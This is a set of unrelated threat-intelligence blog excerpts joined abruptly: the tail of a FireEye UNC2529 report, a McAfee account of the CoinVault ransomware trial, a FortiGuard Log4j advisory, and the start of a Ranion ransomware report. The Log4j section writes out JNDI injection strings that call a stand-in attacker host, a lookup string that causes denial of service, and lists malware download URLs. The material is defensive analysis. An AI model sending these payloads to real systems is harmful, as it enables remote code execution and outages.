]com/admin4/client.php hxxps://secureinternet20[.
]com/admin5/client.php hxxps://adsinfocoast[.
]com/admin5/client.php Detections FireEye detects this activity across our platforms.
The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529.
Platforms Detection Name Network Security Email Security Detection On Demand Malware File
Scanning Malware File Storage Scanning FEC_Trojan_JS_DOUBLEDRAG_1 (static) FE_Trojan_JS_DOUBLEDRAG_1 (static) Downloader.
DOUBLEDRAG (network) Downloader.
JS.DOUBLEDRAG.MVX (dynamic) FE_Dropper_PS1_DOUBLEDROP_1 (static) FEC_Dropper_PS1_DOUBLEDROP_1 (static) Dropper.
PS1.DOUBLEDROP.MVX (dynamic) FE_Backdoor_Win_DOUBLEBACK_1 (static) FE_Backdoor_Win_DOUBLEBACK_2 (static) FE_Backdoor_Win_DOUBLEBACK_3 (static) FE_Backdoor_Win_DOUBLEBACK_4 (static) Backdoor.
Win.
DOUBLEBACK (network)
Malware.
Binary.xls Endpoint Security Real-Time (IOC) POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) MALICIOUS SCRIPT CONTENT
A (METHODOLOGY)
POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY)
Malware Protection (AV/MG)
Generic.mg.1aeecb2827babb42 Generic.mg.1bdf780ea6ff3abe Generic.mg.1f285e496096168f Generic.mg.6a3a0d3d239f04ff Generic.mg.ce02ef6efe6171cd Generic.mg.fa9e686b811a1d92 Trojan.
JS.Agent.
TZP Gen:Variant.
Ulise.150277 Gen:Variant.
Ulise.150283 Gen:Variant.
Razy.799918
UNC2529 MITRE ATT&CK Mapping ATT&CK Tactic Category Techniques Resource Development Compromise Infrastructure (TT1584)
Develop Capabilities (T1587) Digital Certificates (T1587.003)
Obtain Capabilities (T1588) Digital Certificates (T1588.004) Initial Access Phishing (T1566)
Spearphishing Link (T1566.002) Execution User Execution (T1204)
Malicious Link (T1204.001) Command and Scripting Interpreter (T1059) Visual Basic (T1059.005) JavaScript/JScript (T1059.007)
Privilege Escalation Process Injection (T1055) Defense Evasion Indicator Removal on Host (T1070)
File Deletion (T1070.004) Obfuscated Files or Information (T1027) Process Injection (T1055) Modify Registry (T1112)
Discovery System Owner/User Discovery (T1033) Process Discovery (T1057)
System Information Discovery (T1082)
Account Discovery (T1087) Software Discovery (T1518) Collection Screen Capture (T1113)
Archive Collected Data (T1560) Archive via Utility (T1560.001)
Command and Control Application Layer Protocol (T1071) Web Protocols (T1071.001) Asymmetric Cryptography (T1573.002) Acknowledgements Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content.
In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.
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By Christiaan Beek and John Fokker on Jul 13, 2018 How often do we get a chance to learn what goes on in the minds of cybercriminals?
Two members of McAfee’s Advanced Threat Research team recently did, as they attended a court case against two cybercriminal brothers.
The brothers, Dennis and Melvin, faced a judge in Rotterdam, in the Netherlands.
This case was one of the first in the world in which ransomware developers appeared in court and were convicted for creating and spreading ransomware.
They were responsible for creating the ransomware families CoinVault and BitCryptor .
CoinVault, the better known of the two, made its appearance in late 2014.
The technically skilled programmers had examined the source code of CryptoLocker, the notorious ransomware family that first struck in 2013.
The brothers were not very impressed and agreed that they could do a better job.
What might have started out as a fun technical challenge turned into a criminal business.
The CoinVault and BitCryptor campaigns were not as widespread as CTB-Locker, CryptoWall, or Locky ransomware campaigns.
Nor did they profit as much from it, but this case is nevertheless uncommon.
It is rare that the developers of ransomware are caught, let alone confess their crimes.
This case gives us an opportunity to understand what drove them down a path to cybercrime.
The challenge Why would someone write malicious code and infect thousands of people?
The judge asked the brothers the same question.
Their response was “Because it was a technical challenge.”
“But didn’t you realize you were dealing with people?”
the judge responded.
Both brothers answered that they did not; they were dealing with computers and never met their victims face to face.
The judge and prosecutor did not accept their explanation.
CoinVault had a built-in helpdesk function to directly communicate with their victims, thus registering their pleas.
The brothers standard reaction was merciless: “Just pay the money; otherwise we won’t decrypt.”
According to the prosecutor, they had plenty of opportunities to see the consequences of their actions but choose to ignore them for money.
At the trial they said they were sorry and tearfully regretted what they had done.
But were these mere crocodile tears because they got caught?
During CoinVault’s lifespan, several versions of the ransomware were released.
Every new version was a reaction to blogs written by security researchers and takedowns performed by law enforcement.
Instead of realizing that they were making a mistake and stopping, the brothers saw it as a challenge, a digital game of cat and mouse, and constantly improved their malicious code.
Their continuing to improve the ransomware shows a lack of empathy with their victims.
Was there no one in their social surroundings who could straighten their moral compasses and talk sense into them?
The payment A ransomware criminal must decide the amount of ransom to charge.
Generally the more targeted a ransomware attack is, the higher the ransom demand will be.
CoinVault’s infections were not targeted at one organization; they charged only US$250.
The two brothers explained that they chose that price to be low enough for an average person to pay while still making a good profit.
The prosecutor remarked ironically that they were “very noble [to keep] their ransom demand affordable.”
The infection The two brothers did not directly infect their victims with ransomware; they took a multistep approach.
Their distribution method was via newsgroup channels.
They hooked a small piece of malicious code to known software or license-key generators before posting the software packages on the newsgroups.
Once victims installed the package or ran the key generator, they would become part of a botnet through the software the brothers named Comhost, which can record keystrokes, search for credentials, and steal Bitcoin wallets.
Comhost can also upload and execute binaries received from the control server they named Sonar.
(We believe Sonar is modified a version of the popular Solar botnet software.)
The Sonar botnet panel.
Once they had accumulated enough bots, they simply pushed CoinVault to all their victims and locked thousands of computers at once.
This method made it hard for victims to figure out how they were attacked, because weeks could pass between the initial infection and the encryption.
By spreading their ransomware via newsgroups with pirated software, they discouraged victims from going to the police out of fear of prosecution and copyright-violation fines.
The CoinVault lock screen.
The arrest In April 2015, The National High Tech Crime Unit of the Dutch Police seized the control servers for CoinVault.
After the police investigated, the two brothers, aged 18 and 22 at the time, were arrested in Amersfoort, Netherlands, on September 14, 2015.
Systems were infected not only in the Netherlands, but also in the United States, Germany, France, and the United Kingdom.
Their mistakes?
Using flawless Dutch in the ransom notes and one time they did not use a Tor connection to log in into their control server, instead using their home connection.
Flawless Dutch in the ransomware code.
Although they used an obfuscator tool (Confuser) for their code, in some of the samples the full name of one of the authors was present, because they did not clean up the debugging path.
Example: c:\\Users\\**********\\Desktop\\Coinvault\\coinvault-cleaned\\obj\\Debug\\coinvault.pdb From grabbing keys to No More Ransom During the investigation the Dutch police obtained all the decryption keys for CoinVault and partnered with the private sector to build a decryption tool for CoinVault ransomware, successfully mitigating a large portion of the damage caused by CoinVault.
This effort idea gave birth to No More Ransom, an online portal supported by the public and private sector with the largest repository on the planet of free ransomware decryption tools.
No More Ransom now has decryptors for 85 ransomware versions.
This global initiative has prevented millions of dollars from falling into the hands of cybercriminals.
McAfee is proud to be one of the founding members of No More Ransom.
Nomoreransom.org The next steps Extorting people with ransomware is wrong, and perpetrators must be held accountable.
It is sad to see two talented young people choose a pathway to cybercrime and waste their skills—skills sorely needed in the cybersecurity sector.
We hope they will have learned a lesson as they endure the consequences of their actions.
The sentencing will take place in about two weeks.
Perhaps after they serve their time, they will find someone willing to give them a second chance.
FortiGuard Labs Threat Research Report Affected Platforms: Any application and service that uses vulnerable version of Log4j2 Impacted Users: Any organization that uses vulnerable version of Log4j Impact:
Remote attackers gain control of the vulnerable systems Severity Level: Critical Thanks to Paolo Di Prodi and Arturo Erick Torres Cavazos, who helped contribute to this blog.
Log4j Vulnerabilities Beginning December 9 th , most of the internet-connected world was forced to reckon with a critical new vulnerability discovered in the Apache Log4j framework deployed in countless servers.
Officially labeled CVE-2021-44228 , but colloquially known as “Log4Shell”, this vulnerability is both trivial to exploit and allows for full remote code execution on a target system.
This has earned the vulnerability a CVSS score of 10 – the maximum.
On December 14 th , the Apache Software Foundation revealed a second Log4j vulnerability ( CVE-2021-45046 ).
It was initially identified as a Denial-of-Service (DoS) vulnerability with a CVSS score of 3.7 and moderate severity.
Things went from bad to worse on December 16 th due to the discovery of information leaks and the remote code execution nature of the vulnerability.
This promoted Apache to update the advisory and upgrade the CVSS score for this vulnerability to 9.0.
On December 18 th , a third Log4J vulnerability was discovered ( CVE-2021-45105 - Apache Log4j2 does not always protect against infinite recursion in lookup evaluation).
This fix was released in response to a newly discovered vulnerability that makes Log4j susceptible to a Denial-of-Service attack (DoS).
On December 19 th , a \"wormable\" variant of the Mirai IoT malware incorporating exploit code for CVE-2021-44228 was discovered.
Various chatter on OSINT channels has discussed whether this is a \"worm.\" This blog describes what you need to know about the Apache Log4j vulnerabilities , including details, campaigns associated with Log4j, and an alleged “wormable” Mirai malware variant.
What is Log4j?
Significance of Log4j Vulnerabilities Log4j is an extensible, Java-based logging framework widely used by applications and services around the globe (CISA list of related software).
Often, a dependency on Log4j will be two to three layers deep (a dependency of a dependency).
The ubiquitous nature of Log4j is part of what makes CVE-2021-44228 so dangerous.
Millions of applications, such as iCloud, Steam, and Minecraft, use Log4j for logging.
An attacker simply needs to get the app to log a special string to successfully exploit this vulnerability.
The Log4j framework provides an interface with the JNDI (Java Naming and Directory Interface), which allows a connection to an external directory service such as LDAP (Lightweight Directory Access Protocol).
This forms the basis of several exploitation attempts currently seen in the wild, whereby insecure JNDI lookups potentially allow an unauthenticated, remote attacker to execute arbitrary code.
Interestingly, the initial exploit leveraging CVE-2021-44228 appears to have been created before the patch was released.
According to Cloudflare , the exploit was found as early as December 1 st , nine days before the patch release.
It is also worthy of a mention that Minecraft was the canary in the coalmine highlighting the problem, as it was one of the first servers to be attacked.
What Happ ened?
On November 24 th , Alibaba’s Cloud Security Team reported a critical vulnerability in Log4j to The Apache Software Foundation.
In response, Apache published a release candidate on December 6th to address this vulnerability, which Alibaba’s Cloud Security team found insufficient.
Before Apache made the necessary update, a tweet was posted on December 9 th, insinuating that abusing JNDI Lookup in Log4j can lead to remote code execution.
This post appears to have triggered a maelstrom in both security and hacker communities.
The following day, Apache released Log4j 2.15.0 as an official fix.
Around this time, attackers started to sniff for potential victims by scanning for vulnerable machines.
On the same day, CISA released an advisory urging users and admins to upgrade Log4j to 2.15.0 as soon as possible.
The advisory was followed by an Apache Log4j Vulnerability Guidance page detailing the issue.
SANS then moved their Infocon alert to yellow for the first time since the infamous WannaCry outbreak in 2017.
Infocon alerts intend to reflect changes in malicious traffic and the possibility of disrupted connectivity and apply to the condition of the Internet infrastructure.
Infocon has only previously been elevated to yellow status for severe incidents, such as Heartbleed and Shellshock (both in 2014), which signifies the severity of Log4Shell.
The situation worsened on December 14 th , when Apache released Log4j 2.16.0 due to an insufficient fix in the previous release.
This second vulnerability, labeled CVE-2021-45046 (with a CVSS score of 3.7), causes a Denial of Service (DoS) condition when successfully exploited.
Threat actors wasted no time leveraging Lo4Shell by deploying new malware and potentially unwanted programs (PUAs) to compromise vulnerable machines.
On December 16 th , Apache upgraded the CVSS score for CVE-2021-45046 from 3.7 to 9.0.
Further investigation revealed that an information leak and remote code execution in some environments and local code execution in all environments could be achieved due to successful exploitation.
The Severity was also changed from moderate to critical.
Log4j version 2.17.0 was released on December 18 th in response to another Log4j vulnerability.
Labeled CVE-2021-45105, the newest security hole is a Denial-of-Service vulnerability with a CVSS score of 7.5 and is rated as High by Apache.
How does the exploit work - CVE-2021-44228?
Once a target has been selected, an attacker adds a JNDI query to a connection request to that target in a field that is likely to get logged via Log4j.
For example:  “$ {jndi:ldap://malicious-server.host/aaa} ”
A vulnerable version of Log4j then takes that request and attempts to contact “malicious-server.host” with an LDAP query.
Should the connection be successful, the “malicious-server.host” under the attacker's control replies to the query by inserting a malicious Java class file location into the directory data.
The Java implementation on the target then downloads the malicious Java class file and executes it.
How does the remote code execution exploit work - CVE-2021-45046?
Once a target has been selected, an attacker adds a JNDI query to a connection request to that target in a field that is likely to get logged via Log4j.
Due to the fix for CVE-2021-44228 in Log3j 2.15.0, remote JNDI queries are no longer permitted by default.
Therefore, this can be worked around using the following as an example:  “${jndi:ldap://127.0.0.1#malicious-server.host/aaa}” Version 2.15.0 of Log4j will view the request as valid due to localhost being present before the “#”; however, the framework will still resolve the entire string and attempt to contact “malicious-server.host” with an LDAP query.
Should the connection be successful, the “malicious-server.host” under the attacker's control replies to the query by inserting a malicious Java class file location into the directory data.
The Java implementation on the target will then download the malicious Java class file and execute it.
How does the Denial of Service (DoS) exploit work - CVE-2021-45105?
This vulnerability is not considered part of Log4Shell.
This will be more complex to execute because an attacker would need to have knowledge and control over lookup commands (e.g., via the Thread Context Map).
The vulnerability is an infinite recursion so a successful exploit would result in a Denial-of-Service (DoS) attack.
To take advantage of this, the vulnerable (or malicious) application will need to use a Context Map Lookup with a custom pattern layout.
A log line can be crafted in such a way that when it is triggered, an infinite loop condition is triggered thereby creating a denial of service through the exhaustion of resources.
e.g.
logger.info(\"Example log line {}\", \"${${::-${::-$${::-j}}}}\"); Have attacks leveraging CVE-2021-44228 and CVE-2021-45046 increased?
FortiGuard Labs saw a steady increase in the detection of attacks using our IPS signature, which covers both CVE’s - “Apache.
Log4j.
Error.
Log.
Remote.
Code.
Execution” - up until December 15 th .
What versions of Log4j are vulnerable?
CVE-2021-44228 :
All Log4j versions from 2.0-beta9 through 2.12.1, and 2.13.0 through 2.14.1 (also includes 2.15.0-rc1) are vulnerable.
CVE-2021-45046 : Log4j versions from 2.0-beta9 through 2.15.0 CVE-2021-45105 : Log4j versions from 2.0-beta9 to 2.16.0 Have these vulnerabilities been patched?
Yes, Java 8 or later users are advised to update to Log4j 2.17.0 as soon as possible.
However, due to the incompleteness of the fix offered in 2.15.0, Apache released subsequent Log4j versions 2.16.0, 2.17.0 which users are strongly advised to apply.
For Java 7, users should upgrade to version 2.12.2.
Has the vendor provided any mitigations?
Yes, Apache has provided the following mitigation information for Log4Shell (CVE-2021-44228): Log4j 1.x mitigation:
Log4j 1.x does not have Lookups, so the risk is lower.
Applications using Log4j 1.x are only vulnerable to this attack when using JNDI in their configuration.
A separate CVE (CVE-2021-4104) has been filed for this vulnerability.
To mitigate: audit your logging configuration to ensure it has no JMSAppender configured.
This vulnerability does not impact Log4j 1.x configurations without JMSAppender.
Log4j
2.x mitigation: Implement one of the mitigation techniques below.
Java 8 (or later) users should upgrade to release 2.16.0.
Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
Otherwise, remove the JndiLookup class from the classpath: zip
-q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Note that this vulnerability impacts only the log4j-core JAR file.
Applications using only the log4j-api JAR file without the log4j-core JAR file are not affected by this vulnerability.
Apache has provided the following mitigation information for CVE-2021-45046: Log4j 1.x mitigation Log4j 1.x is not impacted by this vulnerability.
Log4j 2.x mitigation
Implement one of the following mitigation techniques:
Java 8 (or later) users should upgrade to release 2.16.0.
Java 7 users should upgrade to release 2.12.2.
Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class Users are advised not to enable JNDI in Log4j 2.16.0.
If the JMS Appender is required, use Log4j 2.12.2.
Note that this vulnerability impacts only the log4j-core JAR file.
Applications using only the log4j-api JAR file without the log4j-core JAR file are not affected by this vulnerability.
Also, note that Apache Log4j is the only Logging Services subproject affected by this vulnerability.
This does not impact other projects like Log4net and Log4cxx.
Apache has provided the following mitigation information for CVE-2021-45105: Log4j 1.x mitigation Log4j 1.x is not impacted by this vulnerability.
Log4j 2.x mitigation
Implement one of the following mitigation techniques:
Java 8 (or later) users should upgrade to release 2.17.0.
Alternatively, this can be mitigated in the configuration:
In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.
Note that this vulnerability impacts only the log4j-core JAR file.
Applications using only the log4j-api JAR file without the log4j-core JAR file are not affected by this vulnerability.
Also, note that Apache Log4j is the only Logging Services subproject affected by this vulnerability.
This does not impact other projects like Log4net and Log4cxx.
Does Fortinet protect against exploit attempts?
Yes, Fortinet released IPS signature “Apache.
Log4j.
Error.
Log.
Remote.
Code.
Execution”, with VID 51006 to block exploit attempts for both CVE-2021-44228 and CVE-2021-45046.
This signature was initially released in IPS package version 19.215.
FortiGuard Labs provides IPS signature “Apache.
Log4j.
Error.
Log.
Thread.
Context.
DoS” against CVE-2021-45105.
What malware and potentially unwanted applications(PUA) were observed to have been deployed via attacks leveraging Log4Shell?
Malware such as Khonsari ransomware, Kinsing, Mirai, Muhstik, Elknot, m8220, Orcus RAT, XMRig, SitesLoader, and Nanocore RAT are all reported to have been delivered in these subsequent attacks.
A video was also posted showing that it is possible to run the first-person shooting game Doom on a Minecraft server by abusing the vulnerability.
Below are short descriptions of each malware type: Khonsari ransomware Khonsari is ransomware that encrypts files in specific folders on compromised machines and demands a ransom to decrypt them.
It is called Khonsari because it adds .khonsari file extension to the files it encrypts.
Kinsing Kinsing is malware written in Go that runs a cryptominer and attempts to propagate within the compromised environment.
Kinsing has been around as early as January 2020.
Mirai Mirai is multi-architecture Linux-based malware.
Initially deployed on exposed networking devices, it is increasingly being used against IoT (Internet of Things) devices.
Once infected, a compromised device becomes a bot that is absorbed into a botnet (a collection of bots).
These botnets are primarily used for Distributed Denial of Service (DDoS) attacks.
FortiGuard Labs previously posted blogs on Mirai malware: MANGA aka Dark Mirai-based Campaign Targets New TP-Link Router RCE Vulnerability The Ghosts of Mirai Mirai Botnet ­: Protect Your Infrastructure with FortiDDoS
Elknot Also known as BillGates, this was initially only a Linux-based malware.
However, it has since been ported to Windows.
The malware is used to launch Distributed Denial of Service (DDoS) attacks.
m8220 m8220 is a mining botnet for Windows and Linux platforms.
Muhstik Muhstik is Linux malware that turns a compromised machine into a bot and is known to exploit vulnerabilities for propagation.
One of the notable vulnerabilities exploited by Muhstik is Atlassian.
Confluence.
CVE-2021-26084.Remote.
Code.
Execution (CVE-2021-26084).
FortiGuard Labs previously posted a blog on Muhkstik: Recent Attack Uses Vulnerability on Confluence Server Orcus RAT Orcus is a Remote Access Trojan (RAT) that has been heavily advertised and sold in underground forums since at least 2016.
Although a Canadian software developer was arrested for creating and selling the RAT in 2019, Orcus RAT is in use today as its source code was leaked.
As a RAT, it performs various actions on a compromised machine via commands received from its Command and Control server (C&C).
SitesLoader The shell script dropper below downloads a UPX packed Go binary from http://103.104.73.155:8080/index .
This binary is also an XMRig crypto miner.
XMRig
XMRig is an open-source cryptomining software that is used to mine Monero cryptocurrency.
While XMRig is a legitimate software, it is often abused by threat actors to illegally mine Monero on the compromised machine.
Nanocore RAT Nanocore is a modular Remote Access Trojan (RAT) that has been around since 2013.
The RAT was available for purchase and cracked versions were leaked online.
Nanocore performs typical RAT activities on the compromised machine, such as data exfiltration, keylogging, hijacking the webcams, and capturing screenshots.
Has any Malware Incorporated the Recent Log4j Exploits for Propagation?
FortiGuard Labs is aware of an online report that a variant of Mirai performs propagation by exploiting the Log4Shell vulnerability as such is a worm.
Our analysis concludes that this Mirai variant is equipped with the Log4Shell exploit and CVE-2017-17215 , a remote code execution vulnerability in Huawei HG532 routers, and does not exhibit worm-like functionality.
So, while our findings reveal that, like a worm, it can propagate, what makes it not a worm is that the botmaster controls all instructions.
This is because it relies on an external resource for propagation and instruction.
The botmaster also has the luxury of turning on and off scans.
FortiGuard Labs detects this Mirai variant by AV as ELF/Mirai.
VI!tr.
FortiGuard Labs provides IPS coverage against CVE-2017-17215 as “Huawei.HG532.Remote.
Code.
Execution”.
For FortiEDR, all known samples have been added to our cloud intelligence and will be blocked if executed.
Has Fortinet released any publications regarding the recent Log4j vulnerabilities?
Yes, Fortinet has released several publications since the issue came to light.
Below is the list of released publications: Log4j2 Vulnerability (Outbreak Alert) Apache Log4J Remote Code Execution Vulnerability (CVE-2021-44228) (Threat Signal)
New Log4j Vulnerability (CVE-2021-45046) Results in Denial of Service (Threat Signal) Log4j 2.17.0 Released In Response to New Log4j Vulnerability (CVE-2021-45105) (Threat Signal)
Mirai Malware that Allegedly Propagates Using Log4Shell Spotted in the Wild (Threat Signal)
Apache log4j2 log messages substitution (CVE-2021-44228) (PSIRT advisory) CVE-2021-44228 - Apache Log4j Vulnerability (PSIRT blog)
Apache.
Log4j.
Error.
Log.
Remote.
Code.
Execution (Threat Encyclopedia)
Technical Tip:
How FortiEDR protects against the exploitation of Log4shell (FortiEDR)
Conclusion The Log4j vulnerabilities had a significant global impact similar to previous major threats, such as Wannacry, Heartbleed, and Shellshock.
Because it is deployed so widely, the after-effects of this vulnerability are expected to last for some time as so many enterprise applications and cloud services require updating.
While the world has not yet seen any massive malware delivery events (i.e., a major ransomware outbreak, wormable events) that leverage the Log4j vulnerabilities, history tells us not to let our guard down, especially since the holiday season, when threat-actors typically become more active, is fast approaching.
FortiGuard Labs will continue to actively monitor the situation for further insights and provide additional information about protections as they become available.
Fortinet Protections and Mitigations FortiGuard Labs provides the following IPS signatures against CVE-2021-44228 (Log4Shell), CVE-2021-45046 and CVE-2021-45105:
Apache.
Log4j.
Error.
Log.
Remote.
Code.
Execution (CVE-2021-44228 and CVE-2021-45046)
Apache.
Log4j.
Error.
Log.
Thread.
Context.
DoS (CVE-2021-45105) Visit Outbreak Alert for more information on how Fortinet protects users from Log4Shell.
FortiGuard Labs provides the following AV protection against malware, potentially unwanted programs (PUA), and other files involved as the following: MSIL/Filecoder.
ANF!tr.ransom (Khonsari ransomware) BASH/CoinMiner.
RZ!tr (kinsing) ELF/CoinMiner.
CFA!tr (kinsing) ELF/Ganiw.
A!tr (Elknot) Linux/Mirai.
B!tr.bdr (Mirai) Linux/Tsunami.
NCD!tr (Mirai) Adware/Tsunami (Mirai) ELF/DDoS.CIA!tr (Muhstik) BASH/Miner.
BO!tr.dldr (m8220) Java/khonsari.
DF40!tr (Orcus RAT) BASH/Miner.
UF!tr (SitesLoader) Adware/Miner (SitesLoader) BASH/Agent.
ACA8!tr.dldr Riskware/CoinMiner.
PO (XMRig)
Riskware/CVE202144228 (XMRig)BAT/Agent.
Q!tr.dldr
(XMRig) W32/GenKryptik.
FBSU!tr (Nanocore RAT)
All network IOCs are blocked by the WebFiltering client.
Additionally, FortiGuard Labs provides the following AV coverage against older variants of malware that are delivered via Log4Shell: Kinsing BASH/Agent.
KG!tr BASH/CoinMiner.
AKT!tr BASH/Miner.
DB!tr W64/CoinMiner.
QG!tr BASH/CoinMiner.
RZ!tr Mirai ELF/Mirai.
[random alphabets] ELF/Mirai.
[random alphabets]!tr Linux/Mirai[random alphabets]!tr Elknot Linux/Elknot.
[random alphabets]!tr ELF/Elknot.
[radom alphabets]!tr Orcus RAT W32/OrcusRAT.
[random alphabets] W32/Orcus.
[random alphabets]!tr W32/Orcus.
[random alphabets]!tr.bdr
Muhstik ELF/DDoS.CIA!tr BASH/Agent.
MQ!tr Adware/Tsunami ELF/CoinMiner.
CFA!tr ELF/BitCoinMiner.
HF!tr BAT/Starter.
NZ!tr BASH/CoinMiner.
RZ!tr XMRig W32/XMRigMiner Riskware/XMRig_Miner W32/XMRig_Miner.
[random alphabets]!tr Riskware/XMRigCoinMiner W32/XMRig_Miner.
[random alphabets] Linux/XMrig.
[random alphabets]!tr.dldr MSIL/XMRig_Miner.
VC!tr W32/XMRigMiner.
WIN64!tr W64/XMRigMiner.
WIN64!tr W32/XMRig_Miner.
ELF64!tr
W32/XMRig_Miner.
SMBM4!tr Nanocore RAT
W32/Backdoor_MSIL_NANOCORE.BA!tr W32/NANOCORE.
[random alphabets]!tr.bdr W32/NanoCore.
[random alphabets and numbers]!tr Data/Nanocore.
[random alphabets!tr W32/Backdoor_MSIL_NANOCORE.SMIL MSIL/NanoCore.
[Random alphabets and
numbers]!tr Adware/NanoCore Adware/
Backdoor_MSIL_NANOCORE Apache has also provided mitigation advice for users of earlier versions, as described above.
IOCs SHA-256 Hash f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789 (Khonsari ransomware) 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b (Kinsing) 7e9663f87255ae2ff78eb882efe8736431368f341849fec000543f027bdb4512 (Kinsing) 8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef (Kinsing) bcfdddb033fb1fa9c73e222919ecd4be071e87b0c54825af516b4f336bc47fa2 (Elknot) 0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049 (Mirai) 19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d (Mirai) 2a4e636c4077b493868ea696db3be864126d1066cdc95131f522a4c9f5fb3fec (Mirai) 15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b
(Muhstik) 10fad59b071db09aafcb7f40e775f28180aed182786557e9ee7f2f2e332b4513 (m8220) 86fc70d24f79a34c46ef66112ef4756639fcad2f2d7288e0eeb0448ffab90428
(Orcus RAT) e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82 (SitesLoader) f059246cea87a886acb1938809cf4a1152247a5b5a2df0b1bf64c46a0daccbcc (SitesLoader) 3e6567dab5e7c7c42a02ac47e8c68f61c9c481bbbbe5ddb1c68e86f7370dab45 (XMRig)
95ac2e2cd2caf30829a9588988601067a98f9bb02e0776a8ef2b813f9b4d8992 (XMRig) e8b2a8d0c3444c53f143d0b4ba87c23dd1b58b03fd0a6b1bcd6e8358e57807f1 (XMRig)
bd5006ba4e4cfcf8a8b0b6da5bb30f4dd8a78beb351b814431ae8599dcf23f1b (Nanocore RAT)
e9744244461056c64fc390591729c035f3a375bc8ecfa1a0c111defa055c1273 (Mirai variant with alleged worm capability)
URLs 3[.]145.115.94/zambo/groenhuyzen[.
]exe 3[.
]145.115.94/zambos_caldo_de_p.txt hxxp://3[.
]145.115.94/main.class hxxp://45[.
]137.155.55/kinsing hxxp://45[.
]137.155.55/kinsing2 hxxp://80[.
]71.158.12/kinsing hxxp://80[.
]71.158.44/kinsing hxxp://82[.
]118.18.201/kinsing hxxp://92[.
]242.40.21/kinsing hxxp://93[.
]189.42.8/kinsing hxxp://92[.
]242.40.21/lh2.sh hxxp://45[.
]137.155.55/ex.sh hxxp://155[.
]94.154.170/aaa hxxp://138[.
]197.206.223/wp-content/themes/twentysixteen/dk86 hxxp://34[.
]221.40.237/.x/pty5 hxxp://34[.
]221.40.237/.x/pty9 nazi[.
]uy hxxp://agent[.
]apacheorg.xyz:1234/v hxxp://185[.
]250.148.157:8005/index hxxp://103[.
]104.73.155:8080/acc hxxp://129[.
]226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh hxxp://download[.
]c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh hxxp://54[.
]210.230.186/wp-content/themes/twentyfourteen/xmrig.exe hxxp://198[.
]98.60.67/bins/x86
hxxp://198.98.60.67/bins/arm hxxp://198.98.60.67/lh.sh Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
FortiGuard Labs Threat Research Report Many thanks to Val Saengphaibul who contributed to this blog.
Affected platforms: Microsoft Windows Impacted parties: Windows Users Impact: Encrypts files on the compromised machines and demands ransom from the victim to recover the encrypted files.
Severity level: High Ranion is a Ransom-as-a-Service (RaaS) that has enjoyed unusual longevity as it has been active since at least February 2017.
While its activities and purpose—encrypting files on compromised machines and receiving ransom payment from the user to recover their files—may seem the same as other ransomware in the public’s eyes, the truth is that the inner workings of Ranion RaaS are unlike other ransomware.
In this blog, FortiGuard Labs will explain how Ranion RaaS works.
The opening lines of The Tale of Heike, a martial epic about the civil war between the Taira and Minamoto clans in 12 th -century Japan, help describe the rise and fall of various ransomware groups in 2021.
“The Jetavana Temple bells ring the passing of all things.
Twinned sala trees, white in full flower, declare the great man's certain fall.
The arrogant do not long endure: They are like a dream one night in spring.
The bold and brave perish in the end: They are as dust before the wind.”
―
Royall Tyler, The Tale of the Heike Ransomware Operations are Short-Lived For those of us monitoring cybercriminal organizations and malware , ransomware often has a very short shelf life.
Some of the most notable ransomware movements in 2021 include: Disappearance: The REvil (aka Sodinokibi) gang that had been active since 2019 went dark in June.
The Avaddon ransomware group halted its operations in June.
It had begun its operations in 2019.
The Ragnarok ransomware gang, in operation since 2019, shut itself down in August and released its decryption key.
Darkside first appeared in 2020 and closed in May after compromising a major US pipeline company.
FonixCrypter ransomware gave up its criminal life in January and released a decryption tool and its master decryption key.
The master decryption key can decrypt all files, regardless of the victim, that had previously been encrypted by FonixCrypter.
Debut and Rebranding: Ads for Blackmatter ransomware went up on cyber underground forums in July.
While Blackmatter is not a rebrand of another ransomware, affiliation with the Darkside gang is rumored.
Haron ransomware debuted in July and is based on Thanos and Abaddon ransomware.
Doppelpaymar ransomware was rebranded as Grief (PayOrGrief).
SynAck ransomware was rebranded as El_Cometa in August.
The average life span of the ransomware listed above, that either disappeared or rebranded itself in 2021, is a bit less than two years.
Reasons for halting operations vary from one ransomware group to another, but they usually do so to escape the unwanted attentions of law enforcement and security researchers.
Ranion Still Going Four Years Later The Ranion ransomware variant that FortiGuard Labs recently came across bucks that trend.
The Ranison ransomware family appears to have been around since at least early 2017, giving it more than four years of longevity.
In February of that year, Daniel Smith at Radware Security shed the first light on the Ranion ransomware, describing it as Ransomware-as-a-service.
Surprisingly, its website on the Dark Web has remained relatively unchanged: the Ranion developer still maintains its claim that Ranion was created for educational purposes and asks users not to use the ransomware for illegal activities.
The latest version of Ranion, version 1.21, was released in July 2021.
Amazingly, the Ranion developer has updated the ransomware every month in 2021 (except for May), including updates for detection evasion, which casts doubt on the claim that the ransomware is for educational purposes.
Another interesting data point is that version 1.08 was released in at least January 2018 and was only updated seven times over a 35-month period (January 2018 – December 2020).
